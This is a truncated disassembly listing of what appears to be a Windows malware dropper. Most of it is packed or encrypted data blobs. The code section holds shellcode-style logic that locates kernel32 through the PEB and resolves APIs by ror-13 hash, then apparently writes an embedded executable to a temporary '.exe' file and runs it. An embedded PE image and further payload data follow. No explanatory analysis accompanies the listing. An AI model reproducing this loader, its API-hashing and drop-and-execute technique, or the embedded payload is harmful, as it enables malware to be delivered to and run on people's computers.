1A3D35BBh dd 7D20024Dh, 9DC8B618h, 0EE185A5Fh, 0DB05AACCh, 0DE400210h dd 0C387C9EBh, 0CEB03844h, 12164A29h, 944EB7A9h, 93DB7ADCh dd 0AE90E6F6h, 8BC5E78Ch, 0B5C0A228h, 473830B2h, 1B4F81A2h dd 6686000h, 0A03A67h, 893AB73h, 443E0759h, 0EBB82A0Ch dd 4EF50C36h, 2014F25Ch, 3C116D4Bh, 4BE1E93Bh, 0D48B83D3h dd 78F33597h, 4FECF19h, 23BEA4Ch, 0A7AB9503h, 0F62D25AFh dd 8E30125Eh, 0C6BDD551h, 0D4544364h, 76ED8AB4h, 0F285CD54h dd 0E688EAE6h, 9E2C8FF9h, 470C9ABCh, 0EED297F3h, 46688AECh dd 3B260224h, 36185631h, 50D81B14h, 0E4159573h, 2B4DE200h dd 167876D2h, 4A252DA2h, 85280A45h, 0FAAF3D1Ch, 0F6183AE7h dd 4322375Dh, 0E6622A0Ch, 4E155D92h, 53F85A16h, 0EAF49D74h dd 0EDE80A2Ch, 5430D264h, 0B7B2AA1Fh, 2E5072FCh, 3337BCCCh dd 1E004B2Ch, 9947227Fh, 0E3354F0h, 302D43ECh, 73200249h dd 36B50051h, 2C85BF54h, 3788EAE1h, 8E004816h, 7FB40F43h dd 36731274h, 92EC8553h, 0D4E00226h, 80ED859Ch, 51D0B239h dd 6661A219h, 61386104h, 1485DE73h, 0B39D2F4h, 66867A6h dd 0BDA30BD7h, 9C496A0Dh, 0DB6FE3D0h, 0E64807FAh, 772C373Bh dd 167D1A7Ch, 4CE916BBh, 0FDB0A2Ch, 13AE072Dh, 0E789FA5Ch dd 2E4F1AC5h, 5998EA03h, 5E699A11h, 99785FFCh, 0E3200F0h dd 542D43ECh, 3D200249h, 0CEA0F157h, 0EE106C55h, 0A78B78FFh dd 3FF7D3B3h, 7BA61F35h, 857B1274h, 5FEB3290h, 6CD30224h dd 0C7AFBB9Fh, 2B5913E3h, 2608475Ah, 0D577EDC7h, 20DBA37Ah dd 81A88179h, 53C09DBh, 0BFCB8B34h, 77C83974h, 7E7EDEEh dd 0F87CD322h, 52FA218Dh, 5D27683Dh, 0CFBAEFFh, 0D6AA0938h dd 0C128C629h, 77FB23EBh, 39AF7AFh, 0FF0BEA4Ch, 1264260Fh dd 96005275h, 0CE035274h, 6D67412Fh, 509DCF6Fh, 8A98FAF0h dd 2723EDDFh, 14E99660h, 0A97A1E42h, 0FC58B6BEh, 22844E08h dd 9B1CA490h, 56950218h, 37D3B27Fh, 0EB88B729h, 1B431E8Ch dd 9E92A157h, 0E971DF73h, 8D3B2D0Bh, 48611D51h, 4224CDA7h dd 0CBE7C5A3h, 20C5F183h, 1939AE43h, 9BD5D3Bh, 0D9CA297Fh dd 0B18FB430h, 95B837D3h, 0BA6FCDF0h, 49270507h, 6DB8A9A7h dd 0A93715F2h, 0E1BF6C00h, 7E6AE903h, 0E305262h, 7957A404h dd 0FE20AA9Bh, 0F7C5BADCh, 0AE373CB9h, 679343CCh, 21642244h dd 84CD118Eh, 0AAF05219h, 0C70EA825h, 0B1BA4F1Ah, 36597E19h dd 928E7914h, 0A72EB48Fh, 9185B23Fh, 1638AEF9h, 98F325F4h dd 6286A6Ch, 7E4747EBh, 0B5EE3A5Ch, 0EA9FB088h, 0E6082A91h dd 7EA0DC45h, 0D9D83A1Ch, 4E704230h, 3827E22Ch, 0BC6F7D5Bh dd 0B6D8FAD9h, 0A558301Fh, 67E3FA46h, 0DE7366F7h, 5EBBDF17h dd 872018FDh, 0C6851069h, 5EAA64h, 0DD704523h, 65103254h dd 26A57C51h, 49D2144h, 0BE78DA91h, 310FEFA2h, 46E30EA3h dd 0B6B0224h, 3618574Eh, 0ADECAC9Fh, 0D8378252h, 0E7B21DFBh dd 761C10FDh, 550D2F4h, 7C2B1C92h, 7E154FF0h, 0F5187A4Ch dd 0F29A2AEh, 0B1082A4Ah, 5E310737h, 720B18DFh, 4122CCEBh dd 4165981Dh, 3E60823Fh, 49B26A94h, 21B88D6Bh, 0FC3715E4h dd 1D4C280Fh, 0D735CAB6h dd 26737971h, 41898D65h, 0DE006222h, 3D119AFCh, 0FE5AB97Ch dd 4B5E2F47h, 94392204h, 0DF7BE9B4h, 8CF11A7Eh, 1E0B09BCh dd 60658924h, 37583AB1h, 0EDD1FA56h, 429A59DCh, 11A4C08Fh dd 0ABBB027Eh, 8EF0FF42h, 0C6AC456Ch, 815F3D19h, 0B635E8E9h dd 4E054DD4h, 19086A66h, 1EAD6C71h, 526DE53Ch, 0C370D29Dh dd 86C5B0A1h, 0FCF50FA4h, 0E7D8BA31h, 0D15018C6h, 0E6E55CB9h dd 6D59D84h, 69B89AD6h, 4E1DE4C1h, 23D35ECh, 7320024Dh dd 36B41469h, 5CA5CD54h, 3088EAE1h, 0F410B7BBh, 0F3FB9AFCh dd 0CEB03F82h, 468049ACh, 0E3E00224h, 0DBD97BF6h, 0AE90DABFh dd 0E7479AD4h, 0DED5CA81h, 0D5F8DF7Ch, 7E4F1A77h, 2EAD8B63h dd 0BDA082F1h, 0DC182A61h, 88CC7D4h, 0EA2C56CDh, 4DF5D3A8h dd 293CF25Ch, 4B056D4Bh, 3915AAC4h, 0C1B26A5Bh, 98B905E3h dd 78285F6Bh, 8370F838h, 7E406284h, 69477F14h, 8509278Bh dd 0B98EEA8h, 0BE0CECD1h, 7EC831DCh, 0E82AB332h, 30ADD9CEh dd 2100222Ch, 3CBC11BCh, 31A04034h, 642D239h, 0B6248124h dd 904441Dh, 0ADA5AE2Bh, 0CE4CAC0Fh, 613F1F49h, 0E9C72594h dd 3673B30Bh, 6284A43h, 7EA0D20Ch, 0F638F85Ch, 6E90826Ch dd 0E60BC24Ch, 7A42A2C4h, 0F2AC973Ch, 0CD5E5FB8h, 0DF940AD4h dd 3E606AC4h, 0E253FA1Ch, 0A50D42B0h, 0C8256B16h, 0F64022ADh dd 6947351Dh, 0E349015h, 119Fh dup(0) ; =============== S U B R O U T I N E ======================================= public start start proc far push offset dword_3150B000 call sub_3151102C retf 835Dh start endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7Ch, 0FFh, 8 dd 136D7C86h, 19827C86h, 8AE77C82h, 4E647C83h, 65A57C83h dd 7C83h, 7E0000h ; =============== S U B R O U T I N E ======================================= sub_3151102C proc near ; CODE XREF: start+5p call sub_315110B9 pop eax pusha lea ebp, [eax-0Ah] call sub_315110A4 sub esp, 400h mov esi, esp push esi push 200h call dword ptr [ebp+0Ah] push esi push 0 lea eax, [ebp+2Ah] push eax push esi call dword ptr [ebp+0Eh] mov edi, esi xor eax, eax mov cl, 0FFh repne scasb mov dword ptr [edi-1], 6578652Eh mov [edi+3], al push 1001h lea eax, [esi+200h] mov byte ptr [eax], 87h push eax push esi call dword ptr [ebp+16h] mov edi, eax push dword ptr [ebp+131h] lea eax, [ebp+135h] push eax push edi call dword ptr [ebp+1Ah] push edi call dword ptr [ebp+1Eh] push 0 push esi call dword ptr [ebp+12h] add esp, 400h popa retn sub_3151102C endp ; =============== S U B R O U T I N E ======================================= sub_315110A4 proc near ; CODE XREF: sub_3151102C+Ap pusha mov edi, eax loc_315110A7: ; CODE XREF: sub_315110A4+11j mov eax, [edi] test eax, eax jz short loc_315110B7 push ebx push eax call sub_315110DD stosd jmp short loc_315110A7 ; --------------------------------------------------------------------------- loc_315110B7: ; CODE XREF: sub_315110A4+7j popa retn sub_315110A4 endp ; =============== S U B R O U T I N E ======================================= sub_315110B9 proc near ; CODE XREF: sub_3151102Cp push ebp mov eax, large fs:30h test eax, eax js short loc_315110D0 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp short loc_315110D9 ; --------------------------------------------------------------------------- loc_315110D0: ; CODE XREF: sub_315110B9+9j mov eax, [eax+34h] mov ebp, [eax+0B8h] loc_315110D9: ; CODE XREF: sub_315110B9+15j mov ebx, ebp pop ebp retn sub_315110B9 endp ; =============== S U B R O U T I N E ======================================= sub_315110DD proc near ; CODE XREF: sub_315110A4+Bp var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_315110F3: ; CODE XREF: sub_315110DD+33j jecxz short loc_31511127 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi cld loc_315110FE: ; CODE XREF: sub_315110DD+2Dj xor eax, eax lodsb cmp al, ah jz short loc_3151110C ror edi, 0Dh add edi, eax jmp short loc_315110FE ; --------------------------------------------------------------------------- loc_3151110C: ; CODE XREF: sub_315110DD+26j cmp edi, [esp+20h+arg_0] jnz short loc_315110F3 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp jmp short loc_31511129 ; --------------------------------------------------------------------------- loc_31511127: ; CODE XREF: sub_315110DD:loc_315110F3j xor eax, eax loc_31511129: ; CODE XREF: sub_315110DD+48j mov [esp+20h+var_4], eax popa retn 8 sub_315110DD endp ; --------------------------------------------------------------------------- align 2 dw 0C4h dd 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 0 dd 20202000h, 20h, 5 dup(0) dd 0C800h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 83F10700h, 0ED9043D8h, 2 dup(0ED90438Bh), 0B098C08Bh dd 0ED90408Bh, 0EC90438Bh, 0ED90428Bh, 0ED90438Bh, 0ED90428Bh dd 0B79C468Bh, 0ED90428Bh, 6369528Bh, 0ED904368h, 8Bh dd 3 dup(0) dd 455000h, 3014C00h, 1E138600h, 43h, 0 dd 0F00E000h, 7010B01h, 0Ah, 0A60000h, 4C0000h, 1140000h dd 2 dup(100000h), 80000000h, 100009h, 20000h, 400h, 0 dd 400h, 0 dd 1800000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 600800h, 2800h, 14h dup(0) dd 600000h, 800h, 6 dup(0) dd 73622E00h, 73h, 4A1C00h, 100000h, 5 dup(0) dd 8000h, 64722EC0h, 617461h, 5400h, 600000h, 20000h, 40000h dd 3 dup(0) dd 4000h, 61642E40h, 6174h, 1040000h, 700000h, 0BE0000h dd 60000h, 3 dup(0) dd 4006000h, 0E0h, 71h dup(0) dd 603800h, 0 dd 603000h, 2 dup(0) dd 604600h, 600000h, 5 dup(0) dd 603800h, 0 dd 4500AF00h, 50746978h, 65636F72h, 4B007373h, 454E5245h dd 2E32334Ch, 6C6C64h, 6Bh dup(0) dd 3D9A5100h, 0B25D970Ch, 82526279h, 15DEDEB6h, 8F16940Fh dd 6F38FDA7h, 0BE874E4Eh, 0E7AB59F5h, 0B403F46Ch, 0E051F69Bh dd 5D072C80h, 0A0D3782Ch, 6D1F2AB3h, 6D36FFC8h, 0E59023CFh dd 0EB5CA055h, 892EC36Ch, 5FD1E88h, 0CA01E074h, 71B4BBFCh dd 73673A28h, 3FDD00B0h, 8662CFBCh, 39D39CEEh, 0A5893E9Dh dd 2A0B7090h, 0DFF8B881h, 6D2C4FB9h, 0C398A6F3h, 0FAB92544h dd 4D5173D9h, 14F06253h, 58A3AB46h, 96EE500h, 183ED66Fh dd 0F8C18A2Bh, 4ECE662Fh, 0F0630AA0h, 6019B169h, 8B8F2EEAh dd 0EAAED7E4h, 0CEC7DC9h, 0AC17B091h, 0DAEA1EE7h, 8783A63h dd 531CE5ACh, 983BFDBAh, 76484468h, 2114E6CFh, 0CEC64A9Dh dd 743DD032h, 6CC377A2h, 4796B288h, 0A5E5B5FEh, 2DF562Ah dd 91F411E1h, 80BB1798h, 0C3ECBD14h, 0E7A06DF3h, 3C8C551Eh dd 0F9829ECh, 0B37CD14Fh, 0E75821EAh, 6F2F788Dh, 327FCBF1h dd 67C69801h, 642DF6AFh, 1BD49D5Dh, 6FCE00D2h, 0D2A4CDA6h dd 73CA564Ch, 0D111E1CAh, 735C7DDEh, 0DFF0E1AAh, 0D6642DF6h dd 0AD772045h, 89561FE8h, 9236FFC8h, 0FF10D95Ch, 0DBA46D36h dd 0F7804912h, 0D39C652Eh, 0AF78410Ah, 8B541DE6h, 6730F9C2h dd 430CD59Eh, 1FE8B17Ah, 0FBC48D56h, 0D7A06932h, 0B37C450Eh dd 9E5922EBh, 611291CAh, 0E60E8A2Ch, 40A0FA7h, 26D871ECh dd 0E580B99Ch, 4CF6812Fh, 3BA349A8h, 9653F99Ch, 391886ADh dd 4AAB6C02h, 19260FA8h, 52C80D97h, 0EE41ED8Ch, 0CAA76428h dd 0EEB78049h, 99935C25h, 4A246C8Eh, 53E9FA10h, 3CF0E329h dd 0DB0CC2h, 0E73A21ECh, 431C5785h, 1229B411h, 73324EAh dd 8840A396h, 0B3A7B05Eh, 1AD12A1Ah, 0F63B2CE2h, 845A2D9Eh dd 0E2BFA866h, 0BD4E11F2h, 9A56814Fh, 16B8AB60h, 0BA4D66B4h dd 25CFD846h, 0EE2235DBh, 0F4055EFCh, 0D6697A90h, 60BFC0BAh dd 4E81D278h, 6D5AE12h, 0A43F28E6h, 4FD17C16h, 3FE4FF1Dh dd 1BE4AD76h, 0F7C08952h, 0D39C652Eh, 0FF78410Ah, 6CE9B273h dd 0C915D8A2h, 21E44C1Bh, 0FDC68F58h, 39A26B34h, 0CF4D29F0h dd 0BD763907h, 3902CB54h, 25EEB760h, 521BE20Ch, 9F6831F9h dd 0ECB57CA6h, 29F2BB43h, 15DE9760h, 1CA935Ch, 0DBA8713Ah dd 0BF88511Ah, 9F642DF6h, 7B440DD6h, 5720E9B2h, 450ED79Eh dd 25EEB778h, 2CA935Ch, 0E0A9723Bh, 0CC955E17h, 0B8814A13h dd 0A46D36EFh, 905922CBh, 7C35FEC7h, 0FC21EAB3h, 603CA52h dd 521BE4ADh, 2B5821E9h, 10D9A26Bh, 0ECB57E47h, 0C8915A23h dd 0A46D36FFh, 804912DBh, 5C25EEB7h, 0D801CA93h, 5E1FE62Eh dd 3A03CC95h, 16DFA871h, 0F2BB844Dh, 0CE976029h, 0AA733C05h dd 864F18E1h, 622BF4BDh, 3E07D099h, 1AE3AC75h, 0F6BF8851h dd 0D29B642Dh, 0AE774009h, 8A531CE5h, 662FF8C1h, 420BD49Dh dd 1EE7B079h, 0FAC38C55h, 0D69F6831h, 0B27B440Dh, 8E5720E9h dd 3F33FCC5h, 733C25A6h, 4F18E1AAh, 7C450CD6h, 6831FAA3h dd 440DD69Fh, 24EDB67Fh, 0C9925Bh, 0DCA56E37h, 38814A13h dd 0A13DA66Fh, 0FEA75FD0h, 0DAA36C35h, 0C68F5801h, 3CC959Dh dd 0E1AA7338h, 0C18A531Ch, 9D662FF8h, 79420BD4h, 151EE7B0h dd 64FA03CCh, 3CE11CEDh, 18E1AA73h, 945D26EFh, 9AA73BBh dd 3F08D19Ah, 21EAB370h, 0FDC68F58h, 0D9A26B34h, 957E4710h dd 351A430Ch, 0D8BD8825h, 0D13A8B1Ah, 0B3238178h, 11D402CAh dd 6608CA71h, 68C94AF7h, 0E15930DCh, 0A82E9101h, 8F868D8h dd 601AB481h, 977E02C7h, 0B554FD43h, 3EE16AE1h, 9A318155h dd 0A9AC46FAh, 0E99A04AFh, 56E2962Ch, 20EB58BDh, 19B4866Bh dd 37AEA922h, 17E25BB8h, 89533AA8h, 33E89A2Bh, 0B340ED83h dd 8B6BE152h, 8F86822h, 0E3432397h, 0CC0A8373h, 9D2DEF64h dd 3CD31EE7h, 0C221282Fh, 0A24CE771h, 3ADE6411h, 0B360E59Eh dd 894E33F8h, 70E78B21h, 5A3308B0h, 4C89049Fh, 8F740FA5h dd 8841C253h, 0C469EC96h, 42F1A852h, 0CA671BB0h, 8280610Ch dd 0D862CCDh, 0B5590C08h, 52C76F0Fh, 18B254C1h, 6525DF70h dd 8F44D7BCh, 6B34FDC6h, 4710D9A2h, 23ECB57Eh, 0FFC8915Ah dd 0DBA46D36h, 0B7804912h, 935C25EEh, 6F3801CAh, 4B14DDA6h dd 27F0B982h, 3CC955Eh, 0DFA8713Ah, 0BB844D16h, 976029F2h dd 733C05CEh, 4F18E1AAh, 2BF4BD86h, 7D09962h, 0E3AC753Eh dd 0BF88511Ah, 9B642DF6h, 774009D2h, 531CE5AEh, 2FF8C18Ah dd 0BD49D66h, 0E7B07942h, 0C38C551Eh, 9F6831FAh, 7B440DD6h dd 5720E9B2h, 33FCC58Eh, 0FD8A16Ah, 0EBB47D46h, 0C7905922h dd 0A36C35FEh, 7F4811DAh, 5B24EDB6h, 3700C992h, 13DCA56Eh dd 0EFB8814Ah, 0CB945D26h, 0A7703902h, 834C15DEh, 5F28F1BAh dd 3B04CD96h, 17E0A972h, 0F3BC854Eh, 0CF98612Ah, 0AB743D06h dd 875019E2h, 632CF5BEh, 3F08D19Ah, 0E7E4AD76h, 0A41DE42Eh dd 814A131Bh, 5D26EFB8h, 3902CB94h, 3DDEA770h, 83440D15h dd 0B07940CAh, 8C551EE7h, 6831FAC3h, 720DD69Fh, 408148D0h dd 0EDB67F87h, 0C9925B24h, 0A56E3700h, 0C34A13DCh, 0F9CA939Bh dd 36FFC650h, 12DBA46Dh, 0EEB78049h, 9A935C25h, 0A021E830h dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 7DEAB37Ch, 43844DD5h dd 0F0B9808Ah, 0CC955E27h, 0A8713A03h, 0E24D16DFh, 0D0F1B840h dd 5D26EF37h, 3902CB94h, 15DEA770h, 83BA834Ch, 596A33FBh dd 0D69F66B0h, 0B27B440Dh, 8E5720E9h, 1433FCC5h, 0DEEFB67Eh dd 5B24ED35h, 3700C992h, 13DCA56Eh, 63B8814Ah, 41824BD3h dd 0EEB77E88h, 0CA935C25h, 0A66F3801h, 1A4B14DDh, 0A021E830h dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 21EAB37Ch, 0FDC68F58h dd 0D1A26B34h, 9E8B179h, 733C050Dh, 2418E1AAh, 0BE58FF94h dd 0C3B6291Bh, 33FC8136h, 0AB4BED6Ah, 42E9B106h, 0DA8803CBh dd 7E02CB12h, 0F7AE27D2h, 822FB741h, 12A06EE5h, 68ECB578h dd 6AE473E0h, 2FAA1DE7h, 47C86D02h, 8E12E07Eh, 8D08E315h dd 0E92ACF6Ch, 1C8B1620h, 659F1F96h, 45EA07F2h, 8EA66FA0h dd 0A92EA32Fh, 0C415E05Bh, 0D781B257h, 35AE6432h, 7F1CB15Eh dd 0BA3FBEB6h, 4F2F462Eh, 45EA8FA8h, 5FD854CCh, 43DE58DFh dd 29CE638Ch, 0ECF76E8h, 972ED869h, 42F700E7h, 0B5AB74BDh dd 0CA3CC823h, 0A055E251h, 0F5491203h, 7315B95Eh, 0BA849ACh dd 1BE4AD66h, 72C08952h, 0CC11E3A0h, 7E713A03h, 0BD854CD4h dd 98622BF4h, 773F08D1h, 9F1CE5AEh, 8D26EF37h, 0BF34FD05h dd 0E3460F17h, 6F7C45EEh, 0CD965FA7h, 5EFB5804h, 1B14B9h dd 632CE9AEh, 3708D19Ah, 23ECB57Eh, 0FFC8915Ah, 0DBA46D36h dd 0B7804912h, 935C25EEh, 6F3801CAh, 0CB14DDA6h, 4E18917Eh dd 541C4888h, 7A9BC48Dh, 561FE8B1h, 0B0B48A0Eh, 0EA1DA532h dd 85BBF0A6h, 145A58E7h, 0F6BF8851h, 951A642Dh, 0A77039E1h dd 8FAE0735h, 380845C0h, 30E8FA3Ah, 0C5EFA4F6h, 7B49D9EEh dd 6FC7B6C0h, 4A14DDA6h, 0F446E058h, 89BE155Fh, 8A132BB9h dd 0D6FCA240h, 13C0022Ah, 65BDF2E1h, 0A29CBD67h, 0D75D7832h dd 0AD94D07Ch, 0E762296Ch, 4100289Dh, 4A8A0698h, 0F446E058h dd 89BE155Fh, 83132BB9h, 47E1594Bh, 0A1165EF5h, 1034B688h dd 0DD53C80h, 0BD7B27C5h, 278CA473h, 6AB23012h, 7A20C20Ah dd 46849454h, 3F706791h, 1E23E5E7h, 3DC50E96h, 0F42A5874h dd 0B6022AC2h, 0BA0B4DEBh, 2E4DDA8Dh, 0D19FDC67h, 4967DB53h dd 22586805h, 0C3E1C0ECh dd 3A7AB3E8h, 5BA42F71h, 951B5D13h, 61AC0854h, 6177BFD7h dd 76AC9C5Dh, 93A1AB40h, 99EE825Eh, 0C18A531Ch, 763FFB41h dd 0A4A26EADh, 57DF2C4Dh, 1EEACBF9h, 2173A090h, 534206Bh dd 0F839185Ah, 0E30EE7EEh, 2C8534E6h, 2CA56D88h, 7C82C48Ah dd 266D7CBCh, 4208B204h, 58CE038Ah, 0E135C452h, 0D952DBB4h dd 447E4811h, 28E5EBB1h, 0D99203A0h, 0C2ED4811h, 0C4CD000Eh dd 0CBEB7A8Fh, 2FE54BFBh, 40D553D1h, 0DB52ACD0h, 567295E0h dd 5F875849h, 1DD79796h, 0AC08D1DBh, 2F60F7B3h, 0C8BA0785h dd 101ED2A1h, 9578D5DCh, 46DE6C2Ch, 905A149Eh, 0BD444E4Bh dd 72BC3D64h, 27915B5Bh, 696D230Ch, 1098A740h, 5192185Ah dd 0CFA64C67h, 1F15A4CFh, 78819E9h, 0C48F4FCFh, 0E425875h dd 0AE6139C9h, 864ECC8Ch, 23CAD0BFh, 448E915Ah, 0C92A0E7Dh dd 5B450DD6h, 773586AEh, 0EEC77775h, 0F7BF7693h, 0D0A46D2Dh dd 0CC95471Eh, 0A10ADDF5h, 0F938AD67h, 0E8A0743Dh, 588E84D2h dd 0C820295Dh, 0D30B73C7h, 69220BB4h, 2060128Bh, 0EAFB37Eh dd 6834EDCFh, 5305A254h, 5EF74855h, 0F23B25D7h, 0C105A0D6h dd 1A840128h, 0F2604B01h, 0BC2253EBh, 8E4A0C75h, 2F659B47h dd 0F792ADB9h, 0CDBB4F9Bh, 721AA5A9h, 0E18A08C2h, 28ED2344h dd 83CB645Dh, 0B0E6F8C7h, 9A1420C1h, 890E9415h, 38478B09h dd 31B53FBDh, 7A487E44h, 0C40AF3BAh, 30BF3AB6h, 6EA22AB6h dd 5FD5EEB6h, 9952C337h, 0BB3FC9FFh, 9638138h, 7473F03Dh dd 77D087A3h, 2CC5498Eh, 8A1EE453h, 158EF4A3h, 2E0AB2A3h dd 0F8F1EE98h, 3A7044EBh, 0A5772EF9h, 7FF4CCD4h, 0D88A33D8h dd 0BBFD9622h, 53ED3977h, 5C59A360h, 0C79C376Ch, 4371435Dh dd 0AC7C045h, 0CDAF38BEh, 20B40F28h, 0E4BD21B2h, 78388D0Ah dd 0C092B6F1h, 139720D0h, 830B11E0h, 7A54BE4h, 0D379E86Dh dd 0F3352B10h, 3166769Dh, 8236C16Fh, 18E84FE6h, 343CE222h dd 49865DEh, 0C63F5A88h, 0A41FF66Dh, 905C95E9h, 801FB05h dd 0B1641258h, 0DE5EFF6Bh, 14B59F05h, 0FF80591Ah, 93A5834Dh dd 0E151128Fh, 3FA90F28h, 0F5ECD0A5h, 0C01EC872h, 15FDD6A7h dd 0C2751ADBh, 754C5051h, 9C993FD3h, 58CB81A4h, 28E8B2ABh dd 2C0063B7h, 0C2C06919h, 713FA040h, 9B8C7CC7h, 9A034140h dd 41100CF1h, 0B1F75558h, 17592AB4h, 50DF97CDh, 106CAAB0h dd 7AFB6608h, 7223EEB7h, 72801EA8h, 2BF74Dh, 2137EAC3h dd 8B4B6FF4h, 0E685826Eh, 3E167FCFh, 0D1F5390Bh, 85D65F3Eh dd 0D08BB7A3h, 310A44C4h, 5615ECCAh, 0D62AF062h, 4A13CDB8h dd 0CB6A108Eh, 74821E3Dh, 9F1C67BEh, 378081AEh, 0B10C6376h dd 3441FD86h, 621226FDh, 36284E99h, 0D29842EFh, 0C17CC118h dd 0A38B1C20h, 5EE829E1h, 0B235050Bh, 0DD54522Dh, 0D83EFA7Dh dd 72BBC5B6h, 572A27FDh, 76C09CB8h, 3199E6DAh, 5DDD1727h dd 0B003AD9Dh, 3526E194h, 0B9A27B6Ch, 0B2466A3Eh, 0A8CE14A3h dd 98716984h, 1E8401F6h, 568F0E4Ch, 0DC1EB486h, 12B8C79h dd 0D575BE5Bh, 40C66794h, 8D31D099h, 66C720D3h, 807F4889h dd 5AA54B23h, 42996D6Ah, 0F66805ADh, 83A9B97Ch, 177AB6EEh dd 0B579FD75h, 0EAD862CCh, 1E3B458Ah, 0D71C2BF5h, 7817C005h dd 0CAD410B9h, 4BA7854Bh, 625E2DD0h, 0EF6EB685h, 76AFE869h dd 59199FADh, 40818E66h, 13CD2668h, 66248BEBh, 0ED84F0CBh dd 0A7E7023Ah, 1DC14709h, 9E53A042h, 72B120DEh, 0BAC6C21h dd 0BBEFC5F0h, 0B0DEE488h, 5AF59C9Dh, 0C2DCA1CAh, 1AC51F1h dd 17867F1Eh, 0B8144FC5h, 0E5520D2Fh, 0CB240744h, 3D1C4146h dd 828192h, 0BE6CA294h, 0E9104573h, 359ABFC3h, 6150779Ah dd 80B02E1h, 531076B7h, 5B694A0h, 4387BDEFh, 3BC60A35h dd 492C568Bh, 0C9156FC3h, 56E5F9F1h, 0B7E2DD69h, 0C72B2F9Ch dd 0EF151386h, 0A5928BF5h, 1E7B625Fh, 0E5D1D227h, 0CF46260Bh dd 0F406D6FDh, 32E61090h, 0B57FB6D5h, 0C325627Eh, 0DA103088h dd 6FE8463Ch, 1E95595Ch, 23A9FCD7h, 0FD59587Bh, 2C8EFDBFh dd 92C8FC4Fh, 35F7065Ch, 4C77FFE9h, 0A38AE9CEh, 1496EDE3h dd 0DAD2ED8Bh, 6B3ABB7Bh, 69B3DACBh, 86C25CDh, 0D1CF053Bh dd 0C56CB05Dh, 2C944BFFh, 3ADD2CCBh, 19999B07h, 0BD1D1D57h dd 0E6F5A204h, 2F4B0DBBh, 0B05AB254h, 0ABEC2E4Bh, 0F7B7E223h dd 6886D2B8h, 0C16D0E52h, 6655D7C8h, 29ACE43Bh, 26BF236Ah dd 93477FFEh, 7A9758B1h, 401F0091h, 698E1C97h, 783D4439h dd 0E647169Eh, 1660E6D2h, 0C63E834Bh, 8B7AEA95h, 64536200h dd 0C06D9E45h, 6584CD8h, 0D790EA00h, 66C3913Dh, 7AF823B7h dd 8D386B39h, 0A6C70F8Eh, 7180A9EDh, 0C2F74D4Bh, 0E0D5DD78h dd 62F1DEDEh, 936F99A9h, 0C14AC558h, 0ACC7F975h, 72EB7098h dd 35793CFFh, 0B8D29B8Bh, 0F2FED50Eh, 35D462D1h, 0D6101099h dd 0CA08AEF4h, 9E18AB63h, 0F233BE51h, 654C3AEh, 0EC36B288h dd 38601F4Bh, 0E4403C78h, 6120F34Dh, 0E4C918CFh, 9488CFC4h dd 0BD26ABF3h, 0B566CF15h, 7879B977h, 4B7650DBh, 0B871B81Ch dd 0BFC6E0CAh, 49299462h, 0C1BF12CDh, 7ABF6C9Bh, 5BF03B32h dd 0A38288CEh, 0C24262h, 0E1D23379h, 7CB2E848h, 7EEA3446h dd 0AF84AD8Fh, 0BF42CECEh, 746EC7Dh, 30C8C2Fh, 4C8192D2h dd 5FE10C2h, 0E71DABE9h, 60220F95h, 0A0D98F77h, 5C75C62Bh dd 7B7D79A7h, 0DFF1FFB7h, 808D44A4h, 94BD2FDBh, 15FF87C4h dd 46038DB4h, 2A5207C6h, 1F98B767h, 36567729h, 131E10FDh dd 0DAE131F6h, 91A96819h, 0DED2470h, 13D99B64h, 3A707069h dd 0AB6AFAFFh, 0C46D468Dh, 21F38C31h, 3EB4020Ah, 0CF3279BFh dd 0A772A708h, 3BDF782Bh, 0CE6BCE95h, 0D6E7ED29h, 0D2F63FE2h dd 0A6993AB3h, 33C461E7h, 4EA0D6B2h, 0E3984847h, 0D52DF221h dd 0A979C797h, 3CE996B7h, 4C02A083h, 7CC2487Eh, 0FD6133D5h dd 6F19BF58h, 41F25EB2h, 0A369DD26h, 0ED1BEB7Dh, 742D2AB7h dd 4275E9A8h, 7AB0BBF7h, 0C36F08C4h, 0E6463536h, 9A5202A2h dd 1C141DB6h, 0D7FB51DBh, 30F92685h, 0A2321F14h, 0D2BB470Fh dd 2AFC9C34h, 0D2674573h, 0EC09F54Ch, 0F554E50Dh, 0F12B721h dd 9DAB4FE5h, 111C58DDh, 0FA1B9994h, 6B676531h, 0A999A3D1h dd 0A4AB44C1h, 0B81DEE52h, 0C48E01D3h, 0B95FA44Dh, 5D7A239Dh dd 6BCD56EAh, 856BF6F2h, 87D28F4Dh, 0F84D8267h, 5A903438h dd 0AE611EB5h, 0A65DF504h, 35623414h, 0AB71E692h, 7FA1730Ch dd 0CB1BEFB4h, 4B61A7DDh, 66FF4FD5h, 3E8188Ah, 0B4A043B8h dd 2A21A567h, 0FC5B957h, 4EBC6F27h, 19E279C2h, 0F543F92Fh dd 20D423EFh, 2DAF37DDh, 2E34C39Ah, 4BE50C07h, 72F71F87h dd 54BE3992h, 0C2F8CE32h, 8C5CF073h, 0D1403015h, 7BFA6429h dd 2BAF2EECh, 2436C586h, 45290724h, 928643E3h, 0EDA7DA78h dd 0E609FF4Eh, 0C489334Ch, 0A3AE8B4Ch, 0BFBF8635h, 0E962F65Dh dd 0D6813117h, 262E34F7h, 72C2AD11h, 0BC43B85Ah, 25D85916h dd 655DEFD9h, 58E66833h, 45D855A7h, 3E02A1B4h, 62D5461Eh dd 28D118CAh, 0E3480410h, 4B79AA5Ch, 5A0A0115h, 2A926DE5h dd 42223CD2h, 0A6A42CD6h, 